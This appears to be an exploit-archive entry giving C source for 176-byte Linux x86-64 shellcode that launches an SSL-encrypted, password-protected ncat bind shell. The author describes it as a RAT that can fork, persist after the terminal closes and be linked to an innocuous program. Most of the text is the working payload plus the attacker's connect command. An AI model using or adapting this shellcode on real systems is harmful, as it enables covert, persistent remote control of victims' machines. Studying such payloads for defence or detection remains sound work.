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Linux/x86-64 - Ncat Shellcode (SSL, MultiChannel, Persistant, Fork, IPv4/6, Password) (176 bytes)
#include <stdio.h> #include <string.h> // Exploit Title: [Linux 64bit Ncat + SSL + MultiChannel + Persistant + Fork + IPv4/6 + Password 176byte] // Date: [7/5/2016] // Exploit Author: [CripSlick] // Tested on: [Kali 2.0] // Version: [Ncat: Version 7.01] // ShepherdDowling@gmail.com // OffSec ID: OS-20614 // http://50.112.22.183/ //--------------------------------------------------------------------------------- // ALERT TO SETTINGS: If Fork is ON and MultiChannel is ON, you will need to either // kill the PID or restart the computer in order to remove the RAT. That is why // password and encryption is VERY important here. //--------------------------------------------------------------------------------- // Default Use // ncat --ssl -6 1000::66 9999 --proxy-auth creepin[:LaCrips] -v // Any Use // ncat --ssl -(4/6) (IPv4/IPv6) <port> --proxy-auth <username>[:<password>] -v //--------------------------------------------------------------------------------- // Internet Protocol Version // IPv6 = \x36 // IPv4 = \x34 #define IP "\x36" // Username (Any Byte Size) #define Username "\x63\x72\x65\x65\x70\x69\x6e" // Password (Any Byte Size) #define Password "\x4c\x61\xee\x43\x72\x69\x70\x73\x5d" // Port (4 bytes) // ascii (from 0 to 9) = 30, 31, 32, 33, 34, 35, 36, 37, 38, 39 #define Port "\x39\x39\x39\x39" // MultiChannel & Non-Ceasing (persistant until terminal close unless Fork is on) // on = \x6b // off = \x76 #define MultiChannel "\x6b" // Fork allows the program to run after terminal close (I suggest MultiChannel on) // Fork helps when linking payload to an innocuous program // comment the fork out if you don't want it #define Fork "\x6a\x39\x58\x48\x31\xff\x0f\x05\x48\x31\xff\x48\x39\xf8\x74\x08\x48\x31\xc0\x6a\x3c\x58\x0f\x05" unsigned char code[] = "\x48\x31\xff\x48\xf7\xe7"Fork "\x68\x2f\x6e\x63\x61\xc6\x44\x24\x04\x74\x48\xbf\x2f\x75\x73\x72\x2f\x62\x69\x6e\x57\x48\x89\xe7\x50\x68\x2d\x2d\x73\x73\xc6\x44\x24\x04\x6c\x49\x89\xe6\x50\x49\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x57\x49\x89\xe7\x68\x2d"MultiChannel"\x76\x65\x49\x89\xe3\xeb\x3b\x48\x89\xe3\x68\x61\x75\x74\x68\x48\xb9\x2d\x2d\x70\x72\x6f\x78\x79\x2d\x51\x48\x89\xe1\x68"Port"\x49\x89\xe5\x68\x2d\x6c"IP"\x70\x49\x89\xe2\x50\x41\x56\x41\x57\x41\x53\x53\x51\x41\x55\x41\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xc0\xff\xff\xff"Username"\x5b\x3a"Password ; int main () { // I make sure there are no nulls // The string count will terminate at the first \x00 printf("The Shellcode is %d Bytes Long\n", strlen(code)); // Next I throw 0xAAAAAAAA into every register before shellcode execution // This ensures that the shellcode will run in any circumstance __asm__("mov $0xAAAAAAAAAAAAAAAA, %rax\n\t" "mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t" "mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t" "mov %rax, %r10\n\t" "mov %rax, %r11\n\t" "mov %rax, %r12\n\t" "mov %rax, %r13\n\t" "mov %rax, %r14\n\t" "mov %rax, %r15\n\t" "call code"); return 0; } # 0day.today [2024-10-05] #